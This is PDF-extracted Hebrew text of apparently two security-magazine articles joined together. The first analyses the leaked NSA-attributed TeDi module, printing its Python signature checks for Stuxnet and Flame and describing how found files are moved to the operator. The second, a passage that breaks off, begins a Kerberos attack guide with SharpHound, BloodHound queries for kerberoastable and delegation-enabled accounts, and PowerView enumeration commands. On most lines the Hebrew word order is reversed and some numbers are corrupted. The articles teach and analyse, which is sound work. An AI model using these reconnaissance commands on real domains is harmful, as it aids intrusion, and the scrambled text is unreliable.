 מפיצים הם, כלים וזליגת תקיפה מדמיונם בודים שאינם להוכיח וכדי, במחיר המרבה לכל כליהם את ומציעה

 חולשות של שמות עם תיקיות המתארות תמונות מכילים מהם 5 כאשר, קבצים 7 נמצאים ובו tar מסוג קובץ

 את לשבור הצליחו חוקרים. שפורסמו החולשות את המכילים, בסיסמה מוצפנים tar-קבצי ושני, לכאורה

 ...ועוד פורנזיקה-אנטי, )שליטה ובקרה( ב"שו כלי וביניהם שונים וכלים חולשות למצוא ואכן הקבצים הצפנת

Lost in Translation 

 כועסת הפעם, הודעה שוב מפרסמת" The Shadow Brokers. "0217 באפריל 16-ל, קדימה שנה כמעט נדלג

 כלי, חולשות של מאוד רב מספר מכיל שהפעם, tar קובץ עוד מפרסמת והיא להם משלמים שלא כך על

", EternalBlue"-הנקראת חולשה מכיל הפרסום. Metasploit-ל הדומה, FuzzBench-בשם תקיפה כלי, ב"שו

. הפרסום לפני כחודש מיקרוסופט ידי על תוקנה אשר, Windowsב SMB פרוטוקול מימוש את התוקפת

, שנצפו ביותר החמורות Ransomware-ה מתקיפות היתהי אשר, Wannacry בתקיפה נוצלה ל"הנ החולשה

 לפעילות הצורך עקב שבהם, חולים בתי כמו ארגונים של מחשוב מערכות היו מהמטרות גדול חלק כי בעיקר

 .אבטחה עדכוני אליהם מגיעים לא ובכך מעודכנים אינם לרוב תמידית

https://www.rapid7.com/products/metasploit/
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""Equation Group ,ה מארגון חלק היא, הרווחת הדעה לפי-NSA ,תחום על האחראית אמריקאית סוכנות 

 המחשוב מערכות על והגנה, האותות מודיעין וחקר איסוף, מעקב על אחראית הסוכנות. ב"בארה הסיגינט

 .8022 ליחידה עיסוקה בתחום מקבילה הסוכנות, הרחב לקהל מוכרים היותר במונחים. ב"בארה

 מאמר נכתב שבעקבותם, בפייתון סקריפטים 6 המכילה, TeDi-בשם תיקייה קיימת שפורסמו הקבצים בין

 :השורה את מוצאים אנו, שהודלפו הקבצים אחד,  utils.py-הקובץ על מהסתכלות, זה

tedilog = getLogger('TERRITORIALDISPUTE') 
 

 .טריטוריאלי סכסוך :בעברית או" Territorial Dispute, "המודול של המלא שמו את מגלים אנו ומכאן

 Advanced עבור, APT נקראים המקצועית בשפה או, תקיפה גורמי יכונו אשר, שונים תוקפים כאן אסקור

Persistent Threat .ברובן שהן בכך, לנו המוכרות" רגילות"ה הסייבר מהתקפות שונים, אלו תקיפה גורמי 

 היא מטרתם APT-ה. התרברבות או פוליטי אינטרס קידום, כסף היא שלהם והמטרה, אופרטוניסטיות

, ביטחוניות תעשיות או, ממשלה משרדי: למשל, מסוימים סקטור או מטרה כלפי מכוונת ותהיה, יותר עמוקה

 מימון בעלות קבוצות יהיו APT-ה. תודעה ומבצעי, כלכלית ופגיעה הרס, מודיעין איסוף, ריגול לצורכי אם בין

 מצורף. גדולים פשע ארגוני ידי על ולעיתים, Nation State Actor -יכונו אשר, ממשלות ידי על לרוב, גבוה

 .איתם להתמודדות ודרכים, שלו החיים מחזור, APT מהו על Imperva חברת של רחב למאמר קישור

 ארגון של המניע על אדבר, שלו הפעולה ודרכי הקוד על טכני הסבר אערוך, המודול את אחקור במאמר

 וכן חשאיות לשמירת משמעותי ככלי לשמש יכול הוא ואיך זה מודול להחזקת NSA-ה ארגון  של בגודלו

 .אותן המודול מחפש Malware-מחתימות האסקור חלק 

 

 טכני ניתוח

 :קבצים 6 מכילה שהודלפה התיקייה. התיקייה בניתוח נתחיל, המודול פעולת את להבין כדי

1. datastore.py 

2. ifthen.py 

3. sigs.py 

4. utils.py 

 משתנים של ואחסון ליצירה משמש זה קובץ. None-ל המאותחלים משתנים המכיל, datastore.py-ב נתחיל

 .במודול האחרים בקבצים שימוש יהיה בהם גלובלים

 .והשמתם, Datastore-ה של למשנים המידע איסוף על אחראי, ifthen.py- השני הקובץ

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://www.imperva.com/learn/application-security/apt-advanced-persistent-threat/
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 ואכן, המודול שימוש עבור פונקציות מייצא שהקובץ להסיק אפשר השם לפי. utils.py -השלישי לקובץ נמשיך

 שלהן הפונקציות בשלוש נתמקד. התיקייה בתוך לפעולות References-ה על מהסתכלות זאת לראות אפשר

 .לקובץ מחוץ Reference יש

 מימוש מהווה הספרייה. dsz-שנקראת מספרייה במתודות שימוש יש נסתכל עליהן הפונקציות בשלוש

 או מידע לאיסוף שנפעיל כלים, כלומר. Post Exploitation לכלי פריימוורק - DanderSpritz של לפעולות

 .התקיפה למטרת הראשונית החדירה אחרי מטרות בין מעבר

 שמות, גבוהה ברמה פנימית דוקומנטציה עם קוד, כלומר". Framework Code"-כ כתוב הקוד, לשמחתנו

 :גבוהה מאוד ברמה שכתוב קוד כללי ובאופן משמעות בעלי ומשתנים פונקציות

def file_exists(path, name): 

    path = path_normalize(path) 

    cmd = (u'fileattributes -file "%s\\%s"' % (path, name)) 

    (cmdStatus, cmdId) = dsz.cmd.RunEx(cmd.encode('utf8'), 

dsz.RUN_FLAG_RECORD) 

    if cmdStatus: 

        [attrib_value] = dsz.cmd.data.Get('file::attributes::value', 

dsz.TYPE_INT, cmdId) 

        if (attrib_value > 0): 

            return True 

        else: 

            return False 

    else: 

        return False 

 מימוש על להסתכל מבלי(, path,name) לפרמטרים לב נשים ראשית, file_exists הפונקציה על נסתכל

. קיים הוא אם ובודקת, הקבצים במערכת ומיקום, קובץ של שם מקבלת שהפעולה להסיק אפשר הקוד

, cmd-משתנה לתוך אותה ומכניסה פקודה מרכיבה שהפונקציה לראות אפשר, הפעולה מימוש על ממעבר

 אותו ופורקת Tuple חזרה ומקבלת, לבסוף. DanderSpritz-של הפקודות בשורת אותה מריצה מכן ולאחר

 מחזירה הפונקציה, קיים אכן והקובץ, True-כ חזר CmdStatus-אם. cmdId-ו, cmdStatus: משתנים לשני

True ,תחזיר אחרת False. 

 מחפשת היא, קובץ של קיום לחפש שבמקום רק, בפעולתה לקודמת מאוד דומה reg_exists הפונקציה

 .השונות Windows תוכניות עבור נתונים שמכיל ענק נתונים מסד מעין, Registry-ב מפתח

 .זה במאמר אתעמק פחות זו בפונקציה המבוקש הקובץ את להביא על אחראית, limitedget, האחרונה
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 :sigs.py הקובץ

sigs.py ניתוחו דרך זאת ונבין זה מאמר עבור ביותר המשמעותי הקובץ הוא. 

, במספרן 56-כ, פונקציות הרבה בו שמוגדרות לכך לב לשים ניתן, הקובץ על ראשונית מהסתכלות

 מספרים מגיעים שאחריהם,  get: והשני, find: הראשון, Prefixes שני ומכילים, מאוד דומים ששמותיהן

 את המכילים מערכים ומכילים, לייצוא המשמשים משתנים שני יש הקובץ שבסוף גם לראות אפשר. סידוריים

 .ל"הנ הפונקציות

 שמורה מילה, pass המילה את רק מכיל שגופן, get_03-לדוגמת, פונקציות מוגדרות בקובץ, לכך בנוסף

 ריקה פונקציה עקב הקוד של הרצה אי למנוע כדי אבל, מומשו לא שעדיין בפונקציות המשומשת בפייתון

 הפונקצייה של לחזרה שגורמת, pass במילה משתמשים(, קיים שלא לאינדנט מצפה הקוד) בתוכו הנמצאת

 .None הערך עם

 :מטרתן מה ולהבין הפעולות על לעבור נתחיל, הקובץ של הבסיסי המבנה את שהבנו אחרי

def find_08(): 

    if ('s7otbxsx.dll' in datastore.SYSTEMROOT_FILE_SET): 

        return True 

    if ('mrxcls' in datastore.SERVICE_NAME_SET): 

        return True 

    if utils.file_exists(('%s\\inf' % datastore.SYSPATH_STR), 

'mdmcpq3.pnf'): 

        return True 

    return False 

 

 :תנאים שלושה קיימים בפונקציה, find_08 של הקוד על נסתכל

 ?Windows של הליבה קבצי מאגר,  System Root-ב' s7otbxsx.dll' הקובץאם קיים ה .1

 ?''mrxcls בשם Service קיים האם .0

 (.utils.py-מ, file_exists באמצעות נעשית הבדיקה)? SystemPath-ב mdmcpq3.pnfאם קיים הקובץ ה .3

 אחד מוצאת היא אם True ומחזירה, ההפעלה במערכת פרמטרים מיני כל מחפשת שהפונקציה הבנו, ובכן

 .מהם

 :באינטרנט חיפוש ערכתי, פרמטרים אותם מהם להבין לנסות כדי

 .Siemens חברת של לרכיבים ספרייה הוא הקובץ לנו מראה הקובץ שם בחיפוש הראשונה תוצאהה .1

 .Malware לטעינת משמששהשירות  לנו מראה אחר שירות מערכת בחיפוש השנייה תוצאהה .0

 גם נקרא שהקובץ לנו צועקו, בגוגל ראשונות לא שהן תוצאות על להסתכל לנו חוסך כבר השלישי הקובץ .3

WORM_STUXNET. 

 

https://www.processlibrary.com/en/directory/files/s7otbxsx/423921/
https://www.processlibrary.com/en/directory/files/s7otbxsx/423921/
https://www.processlibrary.com/en/directory/files/s7otbxsx/423921/
https://www.processlibrary.com/en/directory/files/s7otbxsx/423921/
https://www.processlibrary.com/en/directory/files/s7otbxsx/423921/
https://www.geoffchappell.com/notes/security/stuxnet/mrxcls.htm
https://www.geoffchappell.com/notes/security/stuxnet/mrxcls.htm
https://www.geoffchappell.com/notes/security/stuxnet/mrxcls.htm
https://www.geoffchappell.com/notes/security/stuxnet/mrxcls.htm
https://www.geoffchappell.com/notes/security/stuxnet/mrxcls.htm
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm_stuxnet.sm
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 PLC: שנקראים בקרים של פעולות לשנות היה הוירוס בפעולת עיקרי שחלק נבין, Stuxnet-על נקרא אם

 בין תקשורת כרכיבי כלל בדרך משמשים רכיבים אותם( Programmable Logic Controller של קיצור)

 .מחשבים לבין, איראניות צנטריפוגות הזה במקרה, גדולות תעשייתיות מכונות

 Indicators of Compromise:המקצועי מהמונח חופשי תרגום) לסיכון סממנים מחפשת שהפונקציה הבנו אז

IoC ,)של Stuxnet ,אותם IoC אשר ושירותי מערכת קבצים הם Malware ,שלנו במקרה ,Stuxnet ,משאיר 

 .לתקיפה חושדים אנחנו בו המחשב על אותו לזהות אפשר ובאמצעותם, מאחוריו

 לזיהוי המשמשים, וקבצים לוגים, דאטה לדוגמת, פורנזי מידע פיסת" היא IoC-ל הרשמית שההגדרה אוסיף

 שירותים, קבצים, רשת פעילות יהיו אלה אינדיקטורים לרוב(. ויקיפדיה" )מערכת או ברשת זדונית פעילות

 משמעותית עלייה, לעצמו ייצר Malware-ש משתמשים גם להיות יכולים הם אך, רגיסטרי ומפתחות

 .Ransom Notes-ו מיוחדת סיומת בעלי מוצפנים קבצים, Ransomware של ובמקרה, קבצים בקריאת

 :נוספת פונקציה של קוד על נעבור, find-ה פעולות כל לאורך רוחבי הוא הפרמטרים שחיפוש לוודא כדי

def find_16(): 

    if ('indsvc32.ocx' in datastore.SYSTEMROOT_FILE_SET): 

        return True 

    if utils.file_exists(('%s\\temp' % datastore.SYSPATH_STR), 

'indsvc32.ocx'): 

        return True 

    return False 

 

 :תנאים 0 נמצא הפעם, find_16 על נסתכל הפעם

 ?SystemRoot-ב קיים האם' indsvc32.ocx' הקובץ האם .1

 ?''SYSPATH/temp-ב קיים קובץ אותו האם .0

 .התיכון המזרח ברחבי לריגול ששימש Malware קמפיין, Flame-ב שמדובר ונמצא הקובץ שם את נחפש

 למפעיל לשליחתם והכנה, אינדיקטורים אותם השגת על האחראיות, get פונקציות גם מוגדרות בקובץ

 .הקוד

 

  

https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf
https://en.wikipedia.org/wiki/Indicator_of_compromise
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 נוספים ממצאים

 כמה בו למצוא ונוכל המודול לעומקי לנבור להתחיל נוכל, העיקרי הפעולה עיקרון את שהבנו אחרי אז

 .לנו לעזור שיוכלו פורנזיים ממצאים

Other_peeps.txt: 

 אותו נחפש אם'. other_peeps.txt' בשם קובץ פותח שהסקריפט לראות נוכל, ifthen.py בקובץ נסתכל אם

'. gwdef_other_peeps.txt' בשם קובץ למצוא אפשר כן אבל, הזה המדוייק השם את נמצא לא, בהדלפה

 המורכב, גולמי ומידע, שירותי מערכת, קבצים, תהליכים: קטגוריות 6 המחפשות מפונקציות מורכב הקובץ

 שמצאנו אינדיקטורים אותם את מתאר זה קובץ. בהמשך יתוארו אשר, חיפוש וסקריפטי רגיסטרי ממפתחות

 .לקריאה נוח ויותר, אחר בפורמט אך sigs.py-ב

 :malfind תיקיית

 מכילה והיא, Malicious-ל קיצור הוא mal כאשר. malfind נקראת למצוא יכולים שאנחנו נוספת תיקייה

 :נסתכל עליו אשר נוסף חלק יש ולחלקם לשאר בדומה לזיהוי משמשים הסקריפטים. Batch-ב סקריפטים

 או True להחזיר במקום אך, sigs.py-ב למנגנון זהה באופן פועל שהמנגנון ונראה getsig8.eps על נסתכל

False ,מדפיס הסקריפט :"?SIG8 was detected. Do you want to grab the files" 

 ,כן אם. הקובץ את להשיג רוצה המפעיל האם ושואל, שלו הגודל ואת הקובץ את משיג הסקריפט, כלומר

 לב נשים. MoveLocalFileToDropbox לפעולה, הקובץ ומיקום, Sig08 החתימה מספר עם קריאה מועברת

 גיטהאב של חיפושה כלי באמצעות אותה נחפש, DropboxApi בשם לספרייה include יש הקובץ שבתחילת

, כבר קיים אינו אם, Dropbox יוצרת היא; מורכבת אינה הפעולה. הפעולה של מימושה את למצוא ונוכל

 '.מפקדה'ב חזרה לניתוח הקובץ את לשלוח ניתן שיהיה במטרה זאת כל. הקובץ את אליו ומעבירה

:DriverList 

 פעמיים ועוד, SQLITE של דאטאבייס כקובץ אחת פעם, בהדלפה פעמים כמה קיים, DriverList הקובץ

, Killsuit המודול של קבצים והוא, הטקסט קבצי לבין, הדאטאבייס בין מינורי הבדל קיים. טקסט בפורמט

 . Persistence כיבוי אחרי גם שהותקפו המחשבים על" אחיזה שמירת"ל המשמש

 על להרחבה. בדאטאבייס מופיעים שאינם הסיבה כנראה וזו" REMOVE ME" הכותרת הוספה לקבצים

Killsuit. 

 תגובה, שם: עמודות 2-כ מכיל Database-ה. CSV בצורת, נוחות למען, עליו ונסתכל פשוט נורא הקובץ

(Comment ,)סוג ,Hash ,למשל .ועדכון גודל : 

name, comment, type, hash, size, updated 

crypt32.dll, Crypto API32, ISO_HASH, bd792b7c413bd1b36e7be998f7d323c2c076dc9f, 

554496, 20130424 

 .Windows-ב הקריפטו תחום כל על האחראית הספרייה את מייצגת, הזאת השורה

https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
https://blog.f-secure.com/is-killsuit-lying-in-wait/
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 כמו אותנו מעניינים שלא דברים המון בעיקר ומכיל, שורות 03,222 כמעט ומכיל, למדי גדול הזה הקובץ אז

 כמה מכיל הוא אך, ודומיהם מצלמות, מסך כרטיסי, זיכרון לאמצעי דרייברים, Windows של ליבה קבצי

 :מעניינות דוגמאות

-אנטי כלומר, Personal Protection Product-עבור תיבות ראשי - PSP שמכונות שורות מכיל הקובץ .1

 :SECURITY_PRODUCT הוא הקובץ שסוג לראות אפשר, הגנה מוצר או וירוס

amon.sys,!!! PSP: ESET Nod32 Anti-Virus !!!,SECURITY_PRODUCT,,, 

 שם רשום שבהערה לראות ניתן, ההדלפה בתוך הנמצאים, NSA-ה של כלים בקובץ למצוא אפשר, כלים .0

 : TOOL הוא הכלי וסוג, הכלי

appinit.sys,*** PEDDLECHEAP ***,TOOL,,, 

3. Malware - שונות קטגוריות 3 למצוא ניתן כאן- Known Malware, Dangerous Malware, Possible 

Malware .מסוג שהחתימות לראות אפשר, בתגובות הנמצא הפעולה אופן הוא, פה המעניין החלק-

"Known "ו-"Possible "בהוראה מלוות :"FOLLOW GUIDANCE ,"שאינו, מסמך איזשהו קיים כלומר 

 . מוכר Malware שמזוהה במקרה המומלץ הפעולה אופן מהו המסביר, בהדלפה

", SEEK HELP ASAP": הוא", Dangerous Malware, "השלישית בקטגוריה הפעולה אופי, זאת לעומת

 קיימת, NSA-ה של הרחבה שבפרספקטיבה מזה להסיק יכולים אנחנו. במיידי לעזרה לפנות כלומר

 .משמעותיים תקיפה לגורמי משוייכים ואינם, בשטח הקיימים Malware סוגי של מגילוי דאגה

6. Sigs - היא לחתימות ההוראה, מספר פעמים במאמר שפגשנו חתימות אותן "FOLLOW GUIDANCE "

 .מוגדר פעולה אופי יש להם וגם

5.  Warning- ה לקטגוריית נכנסו שלא בטיחות כלי לראות ניתן כאן-PSP ,כמו Packet Sniffers ואמולטרים ,

 UNKOWN - PLEASE: "הכותרת תחת נמצאים שניהם סיכון מהווים כנראה אך מזוהים שאינם ודרייברים

PULL BACK ,"של לכלים דוגמאות שתי לראות ניתן. תוקף אותה מהמכונה לצאת למפעיל הוראה עם 

, הברית בארצות האחרות הביון בסוכנויות או NSA-ה בתוך אחרים גופים כנראה, ידידותיים גופים

 ". Dangerous Malware" של במקרה כמו" SEEK HELP ASAP" היא עבורם וההוראה

. באינטרנט לקריאה חומר או מחקר שום למצוא הצלחתי לא שלגביה, אחת שורה עוד קיימת, מאלו חוץ

 קובץ יש למה". NOTHING TO SEE HERE - CARRY ON" :היא שלו וההוראה, fast16.sys הוא הקובץ שם

 נושא כבר שזה מאמין אני, הניסוחים משאר מאוד שונה הוא שלו והכיתוב WARNING-כ שמוגדר

 .אחר למחקר
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 מניעים

 המטרה מלבד, NSA-שה כדי משמשים כולם, דעתי לעניות, והשונים והקבצים הפעולות, שסקרנו המודול כל

 עולם על שצופה", שבשמים העין" מעין להיות יוכל, שונים תקיפה לגורמי כלים חשיפת מניעת של הבסיסית

 תקיפות את לעומק לנתח מסוגלים ולהיות, המתרחש כל את לראות, הממוחשב והריגול Malware-ה

 .צופים הם בהן הסייבר

 

 סיכום

 ניתוח ביצעתי",  Lost in Translation" המכונה, NSA-ל המיוחסים כלים הדלפת אירוע הצגתי זה במאמר

 לזיהוי הקשורים נוספים ממצאים, העיקרי החתימות זיהוי מנגון, פעולתו דרכי, TeDi מודול על טכני

 .זה מודול לקיום במניעים ודנתי בהדלפה הנמצאים IoC וזיהוי החתימות

 ליווי עבור המגזין עורך, קסטיאל קאפיול, המאמר וליטוש לשונית עריכה על 'ר אמירל להודות ברצוני

 .לפרסום המאמר והכנת וליטוש הכתיבה במהלך

 

 הכותב על

, אוקטובר חודש במהלך ל"לצה ומתגייס הצופים מטעם שירות שנת בוגר, מהדרום 19 בן, ארמרמן יהב

 ומחקר Malware ,Reversing-ה בתחום האחרונה בשנה, שנים 5-כ ורשתות מידע באבטחת ועוסק מתכנת

APT ,הודעה לשלוח מוזמנים ושאלות הערות, לפניות! 

 

 נוספת לקריאה מקורות

 : מאורכב, הראשונה ההודעה פורסמה שבו הפייסטבין

https://archive.ph/20160815133924/http://pastebin.com/NDTU5kJQ 

 :Lost in translation מאוכסן בו github-ל קישור

https://github.com/misterch0c/shadowbroker/tree/e3a069bea47a2c1009697941ac214adc6f90a

a8d 

 :העולם ברחבי ושיוכם שונים APT אחרי העוקב קובץ

https://apt.threattracking.com 

 :המחקר במהלך המון נעזרתי בו, CrySys מעבדת של מחקר

https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf 

https://www.linkedin.com/in/yahav-armerman
https://www.linkedin.com/in/yahav-armerman
https://www.linkedin.com/in/yahav-armerman
https://www.linkedin.com/in/yahav-armerman
https://archive.ph/20160815133924/http:/pastebin.com/NDTU5kJQ
https://github.com/misterch0c/shadowbroker/tree/e3a069bea47a2c1009697941ac214adc6f90aa8d
https://github.com/misterch0c/shadowbroker/tree/e3a069bea47a2c1009697941ac214adc6f90aa8d
https://apt.threattracking.com/
https://apt.threattracking.com/
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
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2nd Step to Tame a Kerberos: Hit It Where It Hurts 

 מליאנקר ועדי כהן נתנאל מאת

 הקדמה

 :הקרב אסטרטגיית בעניין יפה משפט עוד לנו מראה הלחימה אומנות

“Disorder came from order, fear came from courage, weakness came from strength” 

. שלו החוזק מנקודת דווקא מגיעה ביותר החזק הפרוטוקול של, ביותר החזק הצבא של החולשה, לפעמים

 ללא בדומיין למשאבים טווח ארוכת גישה לו לספק גם יכולים, למשתמש זהות לספק שאמורים כרטיסים

 נוצרות ,התוקף מעיני הכרטיסים את ולהסתיר להצפין שאמורות סיסמאות לפעמים. חוזרת בהזדהות צורך

 אחד ומאובטח מרכזי הזדהות שרת, לפעמים. בדומיין משאב לכל גישה להשיג ומאפשרות דעת בקלות

 …הדרך זו ועל ועומס בעיות לו יש כאשר בדומיין ההזדהויות כלל את להפסיק יכול, הדומיין כל את שמשרת

 .השרשרת כל את לפרום בכדי אותה ולנצל בשרשרת החלשה הנקודה את למצוא התוקף של מתפקידו

 התאוריה כל את נסביר שם, שלנו הקודם המאמר את לקרוא ממליצים אנו, הנוכחי המאמר על שנדבר לפני

 של סדרה לכם נציג הנוכחי במאמר. זה במאמר שנסביר לדברים רקע ונספק הקרברוס פרוטוקול מאחורי

 לעשות ואיך ןאות לבצע כדי מהתוקף נדרש מה נראה. הקרברוס בפרוטוקול הקיימות וחולשות התקפות

 .זאת

 :הבאים בנושאים ניגע, המאמר במהלך

 Osint of kerberos 

 Credential Extraction from NTDS.dit 

 Golden ticket 

 Silver attack 

 Skeleton Key 

 Kerberoasting 

 Asreproast 

 Asreqroast 

 MS14-068 

 Diamond PAC 

 Pass the hash 

 Pass the ticket 

 Pass the key 

 Kerberos bruteforce 

 Downgrade attacks 

 Delegation attacks 

 Trust attacks 

 Inter realm roasting 

 .מעמיק מידע איסוף יש, איכותית תקיפה כל לפני כי - בארגון התקיפה שרשרת בסיס על נתחיל בואו אז

  

https://www.digitalwhisper.co.il/files/Zines/0x86/DW134-3-KerberosAttacks-part1.pdf
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OSINT 

Bloodhound 

 לכלב קשר אין האמת ?אלינו קשור זה איך אך אדם בני באיתור שמתמחה גזע הינו bloodhound-ה כלב

 שימוש ידי על. הדומיין טופולוגית את לגלות לנו מאפשרת Bloodhound תוכנת. לנו תעזור התוכנה אך עצמו

 ואת בדומיין המכונות כל את לנו שיראה מיפוי/גרף נקבל אנו ברשת המחשבים על הגרפים בתאורית

 (. המשתמש ומי DC-ה מי לדוגמה) בינהם הקישוריות

 :נתחיל הבה

 apt-get install bloodhound: ידי על התקנה .1

 :הפקודה הקלדת .0

neo4j console 

 :ולהתחבר, (neo4j:neo4j) הדיפולטיבית הסיסמה את לשנות כדי בעיקר
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 :נגלוש

 

 .ידנית גרסה שהורדנו עד עבד לא bloodhound-ה ולכן neojs-ה של מדי מתקדמת גרסה ירדה אצלנו: לב שימו* 

 :בטרמינל bloodhound של הרצה ידי על bloodhound-ל נתחבר .3

 

 את לנו שיציג DB-כ שישמש json לקובץ המכונות כל את למספר כדי sharpshound בכלי נשתמש .6

 -ה את ממנו ולהריץ לדומיין ששייך משתמש צריכים אנו זאת לעשות כדי. הרשת של הטופולוגיה

sharphound מה-Powershell . 

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
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 ?עובד זה איך אז
..\SharpHound.ps1 

Invoke-BloodHound -CollectionMethod All -JSONFolder 

"c:\experiments\bloodhound" 

 יבצע, הקוד. יציג Bloodhound-שה המידע את שיכיל JASON-ה קובץ את שיכיל zip קובץ יצור ל"הנ

 .json-ה קבצי תוך אל ממצאיו את ויתעד הרשת את יכיר דרכן רבות ldap שאילתות

 .קודם שפתחנו Bloodhound-ה של הממשק אל אותו וגוררים JASON-ה קובץ את לוקחים .5

 
]Ired.team[ 

 המשתמשים את לראות ניתן, הבאה בדוגמא. גרף לבנות מהן שניתן מוכנות שאילתות מספר עם מגיע הכלי

 :בדומיין asreproast-ה התקפת את לבצע ניתן עליהם
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 :הן השתמשנו בהן אחרות מעניינות שאילתות

MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < 

(datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-

1.0, 0.0] RETURN u.name, u.pwdlastset ORDER BY u.pwdlastset 

 שהמשתמש שדורשות מתקפות עבור נוח. )רב זמן שונו שלא משתמשים סיסמאות למצוא המאפשרת -

 :(בהמשך תראו, שלו הבא בהתחברות סיסמה ישנה

MATCH (c:Computer {unconstraineddelegation:true}) return c - [OPTIONAL 

COMPUTERS] unconstrained delegation. 

 שבין trust-וה delegation-ה עניין עם לשחק מאפשרות ובעיקר שבדקנו נוספות שאילתות קיימות

 לא זה אבל ומזוכיזם) יצירתיות - אחד דבר רק שדורש הזה הנפלא העולם את לגלות לכם נשאיר. הדומיינים

 (.נחשב

Powerview(Powersploit) 

 לקבל מנת על שלו תשאול ומאפשר ldap על הנסמך powershell סקריפט, powerview הוא שימושי כלי עוד

 על בדומיין כלשהוא משתמש של בהרשאות shell להריץ עליה, לדומיין מחוץ נמצאת העמדה כאשר. מידע

 :זאת לבצע ניתן כיצד בתמונות לראות ניתן. השאילתות את לבצע מנת

 

, וכך דומייני משתמש הרשאות בעזרת powershell-ה את לפתוח בקשה בוצעה, בדוגמא לראות שניתן כמו

 :הן לדוגמא שאילתות .ldap-ה אל שאילתות לבצע ניתן

 Get-NetGroupMember בקבוצות חברים אודות תשאול לצורך 

 Get-NetUser - משתמשים על מידע קבלת לצורך 

 Get-NetDomainTrust - יחסי הצגת trust דומיינים בין 

 Get-NetDomain -Domain kerberos.testl - דומיין על מידע קבלת 

 Get-DomainSID - קבלת SID הדומיין של  

 Invoke-userhunt- מנת על כנגדן שונות שאילתות ולהריץ ומשתמשים מחשבים רשימת לקבל מאפשר 

 netsessionenum ,NetWkstaUserEnum הן השאילתות. מסוימים משתמשים בהן קיימים האם לדעת

 .שהתחברו משתמשים אודות מידע איסוף המאפשרות בוינדוס api קריאות הן אשר

   לגלותן האופציה את לכם וניתן רבות שאילתות עוד קיימות



 
 

2nd Step to Tame a Kerberos: Hit It Where It Hurts 
www.DigitalWhisper.co.il 

 8;3  4243 נובמבר ,357גליון 
 

NLTEST 

 על מידע השגת כדוגמת הדומיין בתוך שאילתות לבצע המאפשר NLTEST הוא שימושי שמצאנו כלי עוד

 :הדומיין ועל משתמשים

 

SPN Discovery 

 היותר הכלים אחד. נמצא הוא בו התחום אודות מידע לאסוף ירצה תוקף ים/הדומיין בנוי איך שהבנו אחרי

 :ים-SPN של לאיסוף דוגמא הנה. ים-SPN עם להתממשק ומאפשר setspn נקרא במחשבים ומובנים מוכרים

 
 :Q,T בדגלים השתמשנו, כאן. ולהציגם כרטיסים לתשאל היתר בין ומאפשר מעניין מאוד, הכלי

  Q לתשאל מאפשר SPN-קיימים ים. 

 T הרצוי הדומיין סוג את לקבוע מאפשר. 
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 אשר KRBTGT עבור לדוגמא) אליו המקושרים ים-SPN-ה את רכיב כל עבור מציין שהכלי לראות גם נוכל

 משתמש עבור גם תעבוד השאילתא(. kadmin\changepass משויך, users של cannonial name-ב נמצא

 .חלש

 משתמש י"ע נקבעה שלהם והסיסמא היות למשתמשים המקושרים חשבונות לתקוף פעמים הרבה נרצה**

 . רגיל שירות מסיסמת יותר פשוטה להיות עשויה ולכן

 :ללקוחות המקושרים ים-SPN-ה את רק המחזיר getuserspn בסקריפט גם להשתמש נוכל

 

 וממנו הנוכחי forest-ה מידע כלל את להחזיר מנת על GetCurrentForest בפונקציה שימוש יש כן כמו*

 SAMName המכילים מבנים רק. המוחזרים המבנים בעניין לתשאל מנת על ldap שאילתות מתבצעות

 .יוחזרו

Services discovery 

 שירות אודות ldap-ה שירות את לתשאל מנת על Stealthbits-ב שהוצג בסקריפט השתמשנו, זה בחלק

  .בדומיין םי-SPN-ל המקושרים

 

 העולים כלים מספר הבאנו, זה במאמר. למנות משנוכל מידע לאיסוף כלים מאוד הרבה בחוץ שקיימים כמובן

